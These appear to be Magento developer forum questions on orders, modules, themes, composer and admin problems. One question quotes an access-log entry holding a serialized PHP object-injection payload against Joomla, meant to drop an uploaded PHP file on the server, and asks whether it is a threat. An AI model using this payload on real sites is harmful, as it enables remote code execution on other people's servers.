texts: Magento 2: Get pending order according date

texts:
I am trying to get the pending orders for a specific date
http://127.0.0.1/jprbkp/rest/V1/orders?searchCriteria[filter_groups][0][filters][0][field]=created_at&searchCriteria[filter_groups][0][filters][0][value]=2020-11-20&searchCriteria[filter_groups][0][filters][0][condition_type]=from&searchCriteria[filter_groups][1][filters][1][field]=created_at&searchCriteria[filter_groups][1][filters][1][value]=2021-02-29&searchCriteria[filter_groups][0][filters][0][field]=status&searchCriteria[filter_groups][0][filters][0][value]=pending&searchCriteria[filter_groups][1][filters][1][condition_type]=to
But order not searched according to date


texts:
I have install magento 2.0.7  in digital ocean droplet. When i print any invoice give a error

  "This site can’t be reached".

If i generate pdf from drop down "pdf Invoices" on Invoices listing page give a "The Path 'path' is not writable" error. Also wrong path show in error see below

The path ".:///var/www/html/magento_test/var/var/www/html/magento_test/var/" is not writable

is it some permission issue or any other issue?

Thanks


texts: Magento sometimes doesn't insert sql tables on install

texts:
In some rare cases Magento doesn't add tables on installation, but it creates an entry in core_resource. This produces error

 Base table or view not found...

If I delete core_resource entry it will go through sql install script again and this time it will add also tables and everything starts working again. I can not figure out when this happens, it happens just in some cases, sometimes if my customer uses FTP upload and sometimes if he/she install it through Magento Connect Manager.

I am wondering when exactly Magento adds core_resource entry. I thought it adds it once it completes sql installer script. But if this was true, then it would add sql tables OR it wouldn't add sql tables and it also wouldn't add core_resource entry.


texts: magento 2 how to load custom script after the summary page is loaded

texts: I'm unable to load custom scripts after the page is loaded completely. I tried to load using require.js


texts: Price change depends on visitors IP address Magento 1.9

texts:
Magento 1.9

I need to build a new functionality for price change depends on visitors IP address.

Price will be changed depends on visitors country.

There is any free extension for this functionality or any guidance to build this functionality manually.

Please suggest some idea build this functionality.

Thanks in advance.


texts: Magento 2 - Getting order numbers by product id

texts:
I want join order collection, order item collection and product collection. my goal is get all orders based product id.

example : my product_id is '123', and I want know all order number contain product_id '123'


texts: Magento2 issue cannot be created Warning!mkdir(): Invalid argument

texts:
I use magento 2 blank and when I trying to apply a new theme I see this message

  Exception #0 (Magento\Framework\Exception\FileSystemException): Directory "D:/wamp64/www/magento-2/pub/static/_requirejs/frontend/" cannot be created Warning!mkdir(): Invalid argument


texts: But I want to be expert .Not just someone who knows how to make settings in admin panel. Lots of books are small one.i want better resource I guess spanning over 1000 pages like java complete reference book.I dont have money (8 lakhs indian rupees) to spend on expensive vids on official site.


texts: Magento 2 Content Pages and Blocks not loading grid

texts:
I am seeing the following when loading the Content > Pages or Content > Blocks section of a magento 2.0.0 site.

Any suggestions as to why this might be happening?


texts: Backup large database and avoid website slowness and downtime (and keeping data integrity)

texts:
My goal is to be able to backup a large database on a fairly popular Magento site without causing performance problems to the live site. Data integrity is also important to me. Hoping that somebody has some pro tips for me.

Details of my current situation

Current database size is approx. 5GB when the import/export tables, log tables, etc are cleared
We are setup with a dedicated box for our mysql instance. But only one mysql instance, not a master/slave setup.
We typically use a command like this to take our backup mysqldump -u $USERNAME -h $HOSTNAME -p $DB  > $FILENAME. Sometimes we also use the --opt --skip-lock-tables option.
When the db was smaller 2 years ago this wasn't a problem since it ran fast, but now that the db is large and the dump takes quite some time to finish, users experience slowness and downtime during the backup window.

What can I do to make my database backups better, faster, less impactful on the website users while still maintaining a good, usable backup?


texts: How to revert halfway installed magento2 code dump?

texts:
My secnario is like this. When we use magento 1.x versions , assume while installing we got an error. So what we simply do is delete app/etc/local.xml and empty the var/session and var/cache directories. And once the database is dropped and re-created we can run the installation again.

Is there a similar way for magento2 ?  (Rather than extracting always from the original?)


texts: Magento admin dashboard 404 error after trying to login

texts:
My Magento (1.7.0.2) is installed in a subfolder. It was all working fine until couple of days back after hacked. The htaccess files are now being sorted correctly. The home page, categories & product pages are working fine (they were throwing me 404 errors`.

Now, still having issues with Admin Dashboard when I enter login details - it shows me "Whoops, our bad..." error.

The URL shows domainname.com/index.php/admin/index/index/key/62f8f/

I've removed index.php from all URLs, still it shows up here!

What could be missing, which is not letting me login to admin dashboard?

TIA


texts: Translation of "Back" text in the iphone template

texts: I am not able to find the place to translate "Back" Button text in the Iphone template. I tried translation in few .csv files but it didn't work. Looking for help to find it.


texts: Featured product is going off from home page when cache is enabled

texts:
In my current project the featured products are not showing on home page until i am not disabling the cache. When i disabled the cache featured products is showing and after enabling again it is not showing.

Any idea would be appreciated.


texts: How to checkout product programatically?

texts: I need to checkout a product when a user comes to a specific block with a specified transfer method. I hope will get help.


texts:
I am overriding the AccountController in a Magento Extension.

In my controller i have the present

require_once 'Mage/Customer/controllers/AccountController.php';

My question is I am overriding the createPostAction() function inside my controller like so;

public function createPostAction() {

//Do stuff

}

so do i have to include the original createPostAction() function code found in the Magento AccountController.php inside my createPostAction() function or can i just add my additional code inside my createPostAction() function and the override will take in both functions the action is fired?


texts: Magento 2.4 showing 404 not found for product page loadeds from a different store view

texts:
I have a Magento 2.4.1 store with two languages (EN and DE). Let's say the EN store view is currently selected and a product URL will look like this: https://website.de/wedding-bands/wedding-band-1.html.
I may give this URL to a customer, but he has the DE language currently selected. So, when he tries to access this URL, it will give a 404 Not Found error, because the actual URL for that product is different in the DE shop (https://website.de/eheringe/eheringe-1.html).
What's the best way of fixing this so that it will return the correspondent DE product URL even if I give the EN product URL?


texts: How to create product add to cart feature in popup on product detail page magento 2

texts:
I have requirement on product details page for configurable product. we have custom options like
Subscription service with radio input type
one month
three month
no subscription
when user choose "no subscription" option and click on "add to cart" button that time I will need to display popup with all product details along with add to cart button
Any suggestion How I can implement this feature
Thanks in advance


texts: How to get configurable attribute label and value in magento 2?

texts:
To use Object Manager is not a proper way but this code is for testing purpose only.

I want to get attribute value which is available in configurable products. I have tried with below code, but I get an all Attribute value which is assigned in the attributes drop-down list.

Please See below code

   <?php
    $objectManager  = \Magento\Framework\App\ObjectManager::getInstance();
    $repository = $objectManager->create('Magento\Catalog\Model\ProductRepository');
    $product    = $repository->getById($p_coll->getId());
    $data = $product->getTypeInstance()->getConfigurableOptions($product);
    $options = array();

    foreach ($data as $attr) {
        foreach ($attr as $p) {
            $options[] = $p['attribute_code'];
        }
    }

    $statu = 0;

    $eavConfig = $objectManager->get('\Magento\Eav\Model\Config');
    foreach (array_unique($options) as $code) {
        $attribute     = $eavConfig->getAttribute('catalog_product', $code);
        $options       = $attribute->getSource()->getAllOptions();
        $optionsExists = array();
        if ($options) {
            echo $code;
            echo "<select>";
            foreach ($options as $option) {
                    //$optionsExists[] = $option['label'];
                if ($option['label']) {
                    echo "<option value='" . $option['label'] . "'>" . $option['label'] . "</option>";
                }
            }
            echo "</select>";
        }

    }
    ?>

Please see below screen shot

There are only 2 colours available for this configurable product, but all colour options show in my collection. Please see below screenshot.


texts: Custom module factory not working (method is undefined)

texts:
What is the minimum configuration needed to build a custom module factory?

I have this and it is still not working:

table: custommodule_products which looks like:

| file_id    | int(10) unsigned     | NO   | PRI | NULL    | auto_increment |
| store_id   | smallint(5) unsigned | NO   |     | NULL    |                |
| name       | varchar(255)         | NO   | MUL | NULL    |                |
| logs       | varchar(255)         | NO   |     | NULL

//Example/Model/Example.php:

class Example extends AbstractModel
{

    protected function _construct()
    {
        $this->_init("Vendor\Example\Model\ResourceModel\Example");
    }

//Example/Model/ResourceModel/Example.php:

class Example extends AbstractDb
{
    protected function _construct()
    {
        $this->_init('custommodule_products', 'file_id');
    }

//Example/Model/ResourceModel/Example/Collection.php:

class Collection extends AbstractCollection
{
    protected function _construct()
    {
        $this->_init(
            'Vendor\Example\Model\Example',
            'Vendor\Example\Model\ResourceModel\Example'
        );
    }

And then when I create my factory and try to save some data on a new row I get
Fatal error: Uncaught Error: Call to undefined method \Collection::setName():

use Vendor\Example\Model\ResourceModel\Example\CollectionFactory as FileFactory;
..constructor..

$newFileRow = $this->fileFactory->create();
$newFileRow->setName("test");

I don't understand what else does it need or how can I further debug it.
I've checked var/generation/Module...CollectionFactory.php and the file is there. Does it need something else to be able to set data?

Thanks!


texts: Displaying prices with / without tax based upon customer group

texts:
I currently have 3 groups, Group A which tax applies to and the other 2 (Group B & C) which tax doesn't apply.

I would like to know is it possible so that when not logged in or logged in as Group A the prices are displayed with the tax applied everywhere. However when logged in as Group B & C the prices are displayed without tax everywhere?


texts:
I am trying to add in a url redirect in the admin system so I can bypass a category page to go straight to the product as there is only 1 product in that category. In the Catalog => URL Rewrite Management section I have the following entered:

  Type - Custom
  ID Path - category/15
  Request Path - labels
  Target Path - labels/a4.html
  Redirect - Yes

But when I go to the labels page it doesn't redirect. I know that it definitely has a category ID of 15 and that the labels/a4.html is correct


texts:
How to export details of products belonging to specific category .

Default export option exports complete list of products from all categories.


texts: All product not display in Add Product Manaully Section of Configurable products

texts:
In my Magento i have these Product List:-

But when i go to Customizable Product and Select the option
Add Product Manaully
Can't find all Product list..
Like This in My Image

Why my All Store Product List Not Display in this section ....


texts: Magento 2.3.4-p2 sitemap link showing 404

texts:
After create sitemap below link showing 404

http://127.0.0.1/magento/pub/media/sitemap-1-1.xml
http://127.0.0.1/magento/pub/media/sitemap-1-2.xml


texts: Magento 1.9 error 500 on specific store view

texts:
I'm having issues with change to store view,

I have this site: https://example.com/ working OK

but when i try to change the language (so, the store view),

  http://example.com/?___store=english&___from_store=spanish

I just see the Error 500, and the site stop working until clear the cookies of the browser.

I don't know, because i have the same code in another server, and the code works fine.

This error happens only in the page with some products data.

Any ideas?


texts: Is there a way to find out what each argument of attribute does?

texts:
What i want to know is that exactly how much arguments an attribute has and how can we know what each argument does ?

e.g. Consider adding an attribue for customer.

Here's the code where you can find some of the parameters.

$customerSetup->addAttribute(\Magento\Customer\Model\Customer::ENTITY, "verified_buyer",  array(
            "type"     => "integer",
            "backend"  => "",
            "label"    => "Verified Buyer",
            "input"    => "checkbox",
            "source"   => "",
            "visible"  => true,
            "required" => false,
            "default" => 0,
            "frontend" => "",
            "unique"     => false,
            "note"       => "",
            "sort_order"       => "100"

        ));

Let me know if there is any resource/article about it.

Thanks :)


texts: Magento 2 getName() of a variation item returns name of parent

texts:
I am trying to print the name of an item inside an order in Magento 2.3.3.
The item is a variation, and for some reason $item->getName() doesn't return the full name of the item. Instead it returns some kind of a general name, like the parent of the variation or something.
This is the data from mysql from this item. The correct name is #1, but the getName() returns #2.

This is the code:
$order = $this->_objectManager->get('Magento\Sales\Api\Data\OrderInterface')->loadByIncrementId($OrderNumber);
$items = $order->getAllItems();
foreach($items as $item){
    echo "item:".$item->getName()."\n";
}

I tried some other ways to get the correct name,such as getData('name'). Also $item->getProductOptions()['simple_name'] both return the wrong name. Another thing that I tried is getting the name of the parent of the item:
$product = $this->_objectManager->create('Magento\ConfigurableProduct\Model\ResourceModel\Product\Type\Configurable')->getParentIdsByChild($productId);
if(isset($product[0])){
    $product = $this->_objectManager->create('Magento\Catalog\Model\Product')->load($product[0]);
    $name = $product->getName();
}

UPDATE
The item is a variation item ('configuable').
The main item is ID:1557, SKU:1109
One of the variations is ID:197, SKU:11096
My issue that even when I get product id 197, I am still getting the name of the parent item. How can I get the name of the item itself?

$product_t = $this->_objectManager->create('Magento\Catalog\Model\Product')->load(197);
echo $product_t->getSku()."\n";   //===> 11096 (correct)
echo $product_t->getName()."\n";  //===> תיק רחצה נתלה (wrong, name of parent variation)

UPDATE 2
I have found a mysql query that returns the real name of the item:
select value from catalog_product_entity_varchar left join eav_attribute on
eav_attribute.attribute_id = catalog_product_entity_varchar.attribute_id
where
eav_attribute.attribute_code='name' and
catalog_product_entity_varchar.entity_id=197

result[0] is the name of the variation that I am looking for:

Anyone knows how to do the same in code?


texts:
I'm trying to set up a custom block module and display it. For this question my namespace is V, module name W.
 I've created global config file, V_All.xml, in app/etc/modules/

  <?xml version="1.0"?>
   <config>
    <modules>
     <V_W>
       <active>true</active>
       <codePool>local</codePool>
     </V_W>
    </modules>
   </config>

I've also created module config file, config.xml, in app/code/local/V/W/etc/

 <?xml version="1.0"?>
  <config>
   <modules>
     <V_W>
       <version>1.0</version>
     </V_W>
   </modules>

   <global>
    <blocks>
      <w>
        <class>V_W_Block</class>
      </w>
    </blocks>
   </global>
  </config>

I've created class file for custom block, Yblock.php, at: app/code/local/V/W/Block/Yblock.php

 <?php
  class V_W_Block_Yblock extends Mage_Core_Block_Template
  {  // Methods
  }
  ?>

I've created a template file, Yblock.phtml, to output custom block data in app/design/frontend/Mypackage/Mytheme/template/Z/Yblock.phtml. In it I have:

  <?php echo "Test Custom Block"; ?>

I've tried to display block via local.xml:

 <?xmlversion="1.0"encoding="UTF-8"?>
   <layoutversion="0.1.0">
     <default>
       <reference name="root">
         <reference name="content">
           <block type="w/yblock" name="yblock" template="z/yblock.phtml" before="-"/>
         </reference>
       </reference>
     </default>
   </layout>

However, nothing is displayed on browser. I've gone through my code and cannot find anything to alter. I wonder if anyone could point why "Test Custom Block" is not being displayed. I'll be grateful for all assistance.


texts: Products are disappearing from admin and frontend

texts:
A client is having the issue of multiple products that have just disappeared from Magento, and they are having to re-enter all of the data. I ruled out CSV issues because they have never used this method for uploading products. Below are a few of the possibilities I will be trying, but someone here may have a more educated answer. I am trying:

Clearing the compiler: The compiler is disabled, but the state is compiled.

Database size: I will try clearing the log tables in the database, which is over 1.5GB in size.

Reindex data: I will try reindexing all of the data, but this shouldn't be the case.

I am worried that it could be database corruption, does anyone have an idea about that?


texts: Catalog page doesnt work when on product page

texts:
hello i have an issue with our catalog page on this website:
http://grevegaver.dk/

if you press the "Kataloger" page it works fine on the frontpage. But if you go on to any productpage and press the "Kataloger" page it gives you an error 404 :/

I dont know why it does this and i hope some of you can help.

Thanks in advance.


texts:
I just installed SMTP Pro extension for sending emails by SMTP. I get the following errors:

Detected overwrite conflict:

CRM4Ecommerce_CRMCore_Model_Rewrite_Core_Email_Template

Please help and consider that I'm new to magento. I couldn't find a solution in the internet. I run Magento 1.9.2


texts: Move Add To Cart button to right sidebar

texts:
We are just implementing a Magento store (migrating form OSCommerce) and are trying to move the Add To Cart button (for Simple, Grouped and Configurable products) to the right column sidebar - we have a three column layout.

We have been having very unpredictable results with moving the cart and/or options to the right column - total items wrong on add to basket, alerts to 'to add to basket' even though products have been added etc.

All attempts so far have resulted in broken add to cart functionality.  Has anyone else succeeded with this?

Thanks

Shaun


texts: I want to change the html of breadcrumb?

texts: I want to change the default HTML and some CSS classes for the breadcrumbs, where is the file for that? I want to know the path where its coming from?


texts: How to Add Product to Wishlist Programmatically Using Object Manager in Magento2

texts: I have existing product slider and that slider made with object manager so I want to add the product to wishlist by Product id Using Object Manager.


texts: domain.com is not working but domain.com/index.php is working

texts:
When I click domain.com , I am seeing the following contents

Index of /

[ICO]   Name    Last modified   Size    Description
[TXT]   a.html  2014-08-03 12:50    70
[DIR]   html/   2014-06-08 13:27    -
Apache/2.4.7 (Ubuntu) Server at localhost Port 443

My apache root directory is /var/www/html. That is where all my magento files are . What should I change now ?


texts:
I'm getting the following error using Magento 2.1.9:

"Package magento/composer's source key should be specified as {"type": ..., "url": ..., "reference": ...},
{"type":"git","url":"https:\/\/github.com\/magento\/composer.git","reference":null} given.";i:1;s:7856:

I think i mucked up my composer file trying to install  a solution for multiple warehouse inventory.

My composer file looks like this:

{
"name": "magento/project-community-edition",
"description": "eCommerce Platform for Growth (Community Edition)",
"type": "project",
"version": "2.0.13",
"license": [
    "OSL-3.0",
    "AFL-3.0"
],
"require": {
    "magento/product-community-edition": "2.1.9",
    "composer/composer": "@alpha",
    "eadesignro/module-warehouses": "1.0.1"
},
"require-dev": {
    "phpunit/phpunit": "4.1.0",
    "squizlabs/php_codesniffer": "1.5.3",
    "phpmd/phpmd": "2.3.*",
    "pdepend/pdepend": "2.2.2",
    "sjparkinson/static-review": "~4.1",
    "fabpot/php-cs-fixer": "~1.2",
    "lusitanian/oauth": "~0.3 <=0.7.0"
},
"config": {
    "use-include-path": true
},
"autoload": {
    "psr-4": {
        "Magento\\Framework\\": "lib/internal/Magento/Framework/",
        "Magento\\Setup\\": "setup/src/Magento/Setup/",
        "Magento\\": "app/code/Magento/"
    },
    "psr-0": {
        "": "app/code/"
    },
    "files": [
        "app/etc/NonComposerComponentRegistration.php"
    ]
},
"autoload-dev": {
    "psr-4": {
        "Magento\\Sniffs\\": "dev/tests/static/framework/Magento/Sniffs/",
        "Magento\\Tools\\": "dev/tools/Magento/Tools/",
        "Magento\\Tools\\Sanity\\": "dev/build/publication/sanity/Magento/Tools/Sanity/",
        "Magento\\TestFramework\\Inspection\\": "dev/tests/static/framework/Magento/TestFramework/Inspection/",
        "Magento\\TestFramework\\Utility\\": "dev/tests/static/framework/Magento/TestFramework/Utility/"
    }
},
"minimum-stability": "alpha",
"prefer-stable": true,
"repositories": {
    "0": {
        "type": "composer",
        "url": "https://repo.magento.com/"
    },
    "sample-module-news": {
        "type": "git",
        "url": "git@github.com:EaDesgin/magento2-warehouses"
    },
    "magento2-warehouses": {
        "type": "git",
        "url": "git@github.com:EaDesgin/magento2-warehouses"
    }
},
"extra": {
    "magento-force": "override"
}

}

Because of this I wasn't able to install new extensions or anything. Thanks for you help in advanced.


texts:
Wondering if anyone can help with this. I've seen the following crop up in my access logs over a few days. It's generated a 301 response but i'm wondering if it's anything to be concerned about?

"GET / HTTP/1.1 "301 178 "-" "-"
"}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C
0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMys
ql\x22:0:{}s:8:\x22feed_url\x22;s:137:\x22print
copy($_FILES[file][tmp_name],dirname(JFactory::getConfig()->get(base64_decode(bG9nX3BhdGg))).base64_decode(L3RtcC9zZn
gucGhw));exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:
20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD
, 109.184.87.217"[RT:0.001] [C:15755346]


texts: Magento 2 - Move product custom options section before product Price

texts:
I want to move the product custom options section before product price. How can I achieve that? i have used move element but did not get

Thanks


texts: Magento 2 Override admin sales order history template

texts:
I am trying to override admin sales order history template. This is the code i have added in my xml file.

<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" layout="admin-2columns-left" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <body>
        <referenceBlock name='order_tab_info'>
            <action method='setTemplate'>
                <argument name='template' xsi:type='string'>HK_Test::order/view/tab/info.phtml</argument>
            </action>

            <block class="Magento\Sales\Block\Adminhtml\Order\View\Info" name="order_info" template="HK_Test::order/view/info.phtml">
                <container name="extra_customer_info"/>
            </block>
            <block class="Magento\Sales\Block\Adminhtml\Order\View\History" name="order_history" template="HK_Test::order/view/history.phtml"/>
        </referenceBlock>
    </body>
</page>

Using this code i am able to override template. But issue is when i add new comment it loads default template. Check in attached image.


texts: Full base url appended after base url when reaching page

texts:
For a demo environment, I had to upload my Magento project to a server, without a domain name. My Magento base URL is http://62.221.209.128/plesk-site-preview/rodrigootazu.com/62.221.209.128/, but as you can see when I reach it the full URL is appended behind it.

What is causing this problem?


texts:
I'm trying to write a fairly simple extension that can save data to an admin grid. I've been using the Magento CMS module as an example of this, I have my grid, I can click new and enter data, but when I click save I get a 404 on this page:

  /admin/smashing_testimonials/testimonials/save/

I'm struggling to work this out as everything else works

  routes.xml

<router id="admin">
     <route id="smashing_testimonials" frontName="smashing_testimonials">
          <module name="Smashing_Testimonials"/>
     </route>
</router>

I have a Save.php in this path

  /app/code/Smashing/Testimonials/Controller/Adminhtml/Testimonials/Save.php

Part of my ui_component file:

  /Smashing/Testimonials/view/adminhtml/ui_component/smashing_testimonials_form.xml

<dataSource name="smashing_testimonial_form_data_source">
        <argument name="data" xsi:type="array">
            <item name="js_config" xsi:type="array">
                <item name="component" xsi:type="string">Magento_Ui/js/form/provider</item>
            </item>
        </argument>
        <settings>
            <submitUrl path="smashing_testimonials/testimonials/save"/>
        </settings>
        <dataProvider class="Smashing\Testimonials\Model\Testimonial\DataProvider" name="smashing_testimonial_form_data_source">
            <settings>
                <requestFieldName>id</requestFieldName>
                <primaryFieldName>id</primaryFieldName>
            </settings>
        </dataProvider>
    </dataSource>

The "submitURL" is where Magento knows where to look for my save logic right? It certainly sends me to that admin url when I click save, so I presume this is correct?

I've run all the usual setup:upgrade, setup:static-content:deploy, cache:clean, etc.

What am I missing here?


texts: Magento Enterprise (1.14) modify admin password via database

texts:
How do I go about changing an admin account password in the database in Magento 1.14 (enterprise)

Is it sha(256) with a 32 character salt


texts: How can I move a block from homepage? I only know the identifier, but I can't find it in code

texts:
How can I move a block from homepage?
I only know the identifier,it's "block-homepage", but when I search for "block-homepage" in the code I can't find anything .


texts: My username and password correct, but not logged into magento back end or control panel, its return Access Denied.


texts: Import Product Information from MSSQL to MySQL (or Magento)

texts: I have Products Information stored in MSSQL database and i want this Product Information into Magento or MySQL database.


texts: Magento 2: Adding Products to Top Navigation

texts:
We have a client who wishes for the top navigation bar to show the products that each toplevel category contains as the child menu items.

I've done a lot of Googling but haven't been able to find anything relevant.

Does anybody know how to achieve this?


texts: display base currency symbol in checkout

texts: My store base currency is AUD and the local store displays the currency values with A$, I have an international store which has currency displayed in USD. The catalog items all display on US$. When I go to checkout-payment page in International store the symbol next to this text "Your credit card will be charged for" displays as just $ instead of A$. The amount however gets converted correctly to AUD. How to display the symbol as A$. I have attached screenshot of the same.


texts: Configurable product image resolution issue

texts:
I'm having an issue with configurable product swatch on my category view page (in grid mode).

We are using image in 420px in our category page but the image that are automatically switch with the swatches sources are in 210x.

All the product images source are coming from the getProductImageFallbacks() function from the configurable swatch Core (Block/Catalog/Media/Js/Abstract.php)

But i am stuck on how to change the resolution there. Really looking for any advice on where to go from there.

Please note that i sadly cannot go the easy way with a css fix due to image quality.


texts: How to get the last real order Number Magento 2

texts:
I'm trying to get the last order number in magento 2.
I've tried getting it this way.

$objectManager = \Magenato\Framework\App\ObjectManager::getInstance();
$checkout_session = $objectManager>get('\Magento\Checkout\Model\Session');
$order = $checkout_session->getLastRealOrder();
$orderId= $order->getEntityId();
$number = $order->getIncrementId();

but returns null.

Please assist , Thank you.


texts: Magento 2: How to get custom attribute value in new template

texts:
I need to get the value of a custom attribute on the product page, as I want to display different sizechart per attribute. For this reason, I have created the following .phtml to get the value of the attribute:
File: /app/design/frontend/Mgs/claue/Magento_Catalog/templates/product/view/sizechart.phtml

<?php
$_product = $block->getProduct();
$attribute = $_product->getResource()->getAttribute('sizechart2');
?>

And I have called this file from:
File: /app/design/frontend/Mgs/claue/Magento_Catalog/layout/catalog_product_view.xml
<referenceContainer name="product.info.main">
            <block class="Magento\Framework\View\Element\Template" name="custom.text" template="Magento_Catalog::product/view/sizechart.phtml" after="product.info.price"/>
</referenceContainer>

But when I go to product page show the following error:
Fatal error: Uncaught Error: Call to a member function getResource() on null
What is the problem? :(
Thanksss


texts: Get customer address information from observer

texts:
I have created an observer event on the customer_save_after event. At this point I am able to get the new name. I am trying to also retrieve their default billing address. If possible bring them in as separate items like Address 1, Address 2, City, State, Zip code.

<?php
class Mage_Customerupdate_Model_Observer
{
    public function logUpdate(Varien_Event_Observer $observer)
    {
        $customer = $observer->getEvent()->getCustomer();
        $name = $customer->getName();
        $billingaddress = $customer->getDefaultBillingAddress();
        $customerId = $customer->getId();
        $customerObject=Mage::getModel('customer/customer')->load($customerId);

         Mage::log("{$name} ({$billingaddress}) ({$customerid}) updated", null, 'customerupdate.log', true);
    }
}
?>

In order to get an address change maybe I have to add another event to capture that. I don't really know

At this point all I get in my results are "NAME () (ID#) updated"


texts: Update sales order immediately after inserted

texts:
I want to update the sales order right after it is inserted.

I want to reflect the change on the sales order conformation email also which is going to the customer.

So i have prepared the below code and inserted into \Magento\Sales\Model\Order\Email\Sender::checkAndSend

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
    $resource = $objectManager->get('Magento\Framework\App\ResourceConnection');
    $connection = $resource->getConnection();
    $sqlx = "SELECT * FROM sales_order ORDER BY entity_id DESC LIMIT 1";
    $connection->query($sqlx);
    $resultx = $connection->fetchAll($sqlx);
    foreach($resultx as $resulx) { $entityid  = $resulx['entity_id']; }
    $sql = "SELECT * FROM sales_order_item WHERE order_id='$entityid'";
    $connection->query($sql);
    $results = $connection->fetchAll($sql);
    foreach($results as $result)
    {
        $item_id = $result['item_id'];
        $fullopt = $result['product_options'];
        $needle = 'Shoe Size';
        if (strpos($fullopt, $needle) !== false){
            $pieces = explode('Shoe Size","value":"', $fullopt);
            $sizenum = explode('","option_id', $pieces[1]);
            if(strpos($fullopt, '"value":"EU"') !== false) {
                $rsizenum1 = $sizenum[0]+31;
                $finalque = $pieces[0].'Shoe Size","value":"'.$rsizenum1.'","option_id'.$sizenum[1];
            }
            else if(strpos($fullopt, '"value":"UK"') !== false) {
                $rsizenum2 = $sizenum[0]-1;
                $finalque = $pieces[0].'Shoe Size","value":"'.$rsizenum2.'","option_id'.$sizenum[1];
            }
            else{
                $finalque = $fullopt;
            }
            $upsql = "UPDATE sales_order_item SET product_options='$finalque' WHERE item_id='$item_id'";
            $connection->query($upsql);
        }
    }

The issue is that this dosent update the sales order emal which is goingout and also every time my order gets updated this is running again.

I only want this to run one time after order is inserted.

Anyone can give me a clue?


texts: Magento 2.3.4 composer update file name too long

texts:
I am trying to upgrade Magento to 2.3.4.

I'm running composer update from within a docker container on a linux machine and am receiving the following error:

error:  cannot create /app/vendor/composer/9b7022b7/Test/Mftf/Test/StorefrontBackordersEnabledOnConfigurationPageAndAppliedFromHomepageToWithConfigurableProductWithDropDownAttributeAndVariablesAssignedToNonDefaultSourceTest.xml
    File name too long

The archive may contain identical file names with different capitalization (which fails on case insensitive filesystems)
Unzip with unzip command failed, falling back to ZipArchive class

Anyone have any ideas on how to resolve this?


texts:
As described in the title i am dealing with the following problem.

I took a back up of a Magento based site that I am currently working on, placed it in my document root folder and finally extracted it.

I can see the home page of the site, but when i try to gain access as administrator via Magento admin panel i get this message

  the requested url was not found on this server.

The above message is also displayed when a link is pressed..


texts: Magento 2 how to hide columns in customer listing grid

texts:
I want to hide some columns from customer listing grid. I try to use false in customer_listing.xml, but it doesn't work. And I noticed that some columns (for example "confirmation", "created_in", "billing_full") in magento's ui component xml file have options visible = false but they don't hide in grid.
How can I hide this columns? I don't want to  disable them, just hide them.
Thanks in advance.
P.S. I want to change visability from code for all new admin users.


texts: I have this error file Uncaught Error: Mismatched anonymous define() module, In my .js file

texts:
Good Morning Every Body When I compile my js file , in my console have this error

  What I Doing Wrong?


texts: Restore 'use default value' for tax class programmatically

texts:
I want to restore the "Use Default Value" option for the Tax Class field for all products where the price has store-view scope.

I am testing with the code in the first part of this question, however using setData($attr, false) doesn't work (nothing happens when I run the code). However, if I change false to eg 5 this works and the tax class is updated. I want to restore the "Use default value" option instead of updating the tax class itself.

Here is the code I am currently using:

$attrArray=array('tax_class_id'); // define array of attributes to set to 'use default value'
$products = array(3253); // ID 3253 = SKU 38356
$stores = array(6);

ini_set("memory_limit","128M");
require_once "../app/Mage.php";
umask(0);
Mage::app();

foreach ($stores as $store_id) {
    foreach ($products as $product_id) {
        foreach ($attrArray as $attr) {
            echo "Restoring '$attr' for product ID#$product_id in store #$store_id...<br />";
            $product = Mage::getModel('catalog/product')
            ->load($product_id)->setStoreId($store_id)
            ->setData($attr, false)
            ->save();
        }
    }
}

I have tried using null in place of false as well.

Can anyone tell me what I need to do to get this to work properly?

I don't want to manipulate the database directly via MySQL for safety reasons.


texts: magento 2 get all category id of a specific store including all level nested child category

texts:
i want to get all category id of a specific store in magneto2 including its all root category and all level nested child category id of all root category i am trying with following cod but using this i am getting only first level child category id only but child of child and again this child's child category i mean all level nested child i did't getting place help me  thank you.

public function getStoreCategories($sorted = false, $asCollection = false, $toLoad = true)
{
    $parentCatList = $this->_categoryHelper->getStoreCategories($sorted , $asCollection, $toLoad);
    $parentCatIds = array();
    $childrenCategoryIds = array();
    foreach($parentCatList as $category):
         if (!$category->getIsActive()) {
            continue;
         }
        $parentCatIds['parent'][] =  $category->getId().$category->getName();
        if($childrenCategories = $this->getChildCategories($category)):
            foreach($childrenCategories as $childrenCategory):
                 if (!$childrenCategory->getIsActive()) {
                    continue;
                 }
                 $childrenCategoryIds['clild'][] = $childrenCategory->getId().$childrenCategory->getName();
            endforeach;
        endif;
    endforeach;
    return array_merge($parentCatIds,$childrenCategoryIds);
}
/**
 * Retrieve child store categories
 *
 */
public function getChildCategories($category)
{
       if ($this->categoryFlatConfig->isFlatEnabled() && $category->getUseFlatResource()) {
            $subcategories = (array)$category->getChildrenNodes();
        } else {
            $subcategories = $category->getChildren();
            /*if($this->getChildCategories($subcategories)):
                getChildCategories($subcategories);
            endif;*/
        }
        return $subcategories;
}


texts: Image sizes in detail page size is too small Magento2?

texts:
I met one strange issue in Magento 2 -

Product Detail page my product image display too small.I tried using view.xml inside my theme and tried using fallback view.xml.I'm using Blank theme as parent.

view.xml

       <image id="product_page_main_image" type="image">
            <width>720</width>
            <height>660</height>
        </image>
        <image id="product_page_main_image_default" type="image">
            <width>720</width>
            <height>660</height>
        </image>

How can I set the size of the image?
Can please somebody help me.


texts: Set custom class for Modal popup Magento 2

texts:
I have different popups and each popup has different styles, Anyone know how I can restyle each Modal by adding custom class or something.

Here one of my modal popup code:

Get first popup

First popup content


texts: Magento 2.2.5 Newsletter (/newsletter/manage/ ) management generates blank page


texts: where does magento serialize the value of product_options in sales_flat_order_item

texts:
